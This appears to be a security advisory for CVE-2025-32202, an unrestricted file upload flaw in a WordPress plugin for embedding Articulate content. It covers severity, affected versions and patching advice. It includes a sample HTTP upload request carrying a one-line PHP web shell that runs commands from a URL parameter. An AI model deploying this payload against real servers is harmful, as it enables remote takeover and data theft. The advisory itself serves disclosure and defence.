CVE-2025-32202: Unrestricted File Upload Vulnerability in Brian Batt’s Insert or Embed Articulate Content into WordPress

Overview

CVE-2025-32202 is a severe vulnerability that directly affects a popular WordPress plugin – Brian Batt’s Insert or Embed Articulate Content into WordPress. This is a critical security flaw that allows the unrestricted upload of files with dangerous types, specifically opening doors for attackers to upload a Web Shell onto a web server. The widespread usage of WordPress as a content management system and the popularity of the affected plugin means that a considerable number of web servers are at risk of being compromised.

Vulnerability Summary

CVE ID: CVE-2025-32202
Severity: Critical (9.1/10.0)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Insert or Embed Articulate Content into WordPress | Up to version 4.3000000025

How the Exploit Works

The exploit takes advantage of the unrestricted file upload vulnerability present in the Insert or Embed Articulate Content into WordPress plugin. By manipulating the file upload feature, an attacker can upload a malicious web shell file onto the server. Once uploaded, this web shell file can be accessed by the attacker to execute arbitrary commands on the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /upload_file.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploadfile"; filename="webshell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET["cmd"]); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, an HTTP POST request is made to upload a file named “webshell.php. This file contains a simple PHP script that executes commands passed via the “cmd” GET parameter.

Recommendation

Users are strongly advised to apply the vendor-supplied patch immediately. If the patch cannot be applied quickly, temporary mitigation can be achieved using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block suspicious file uploads.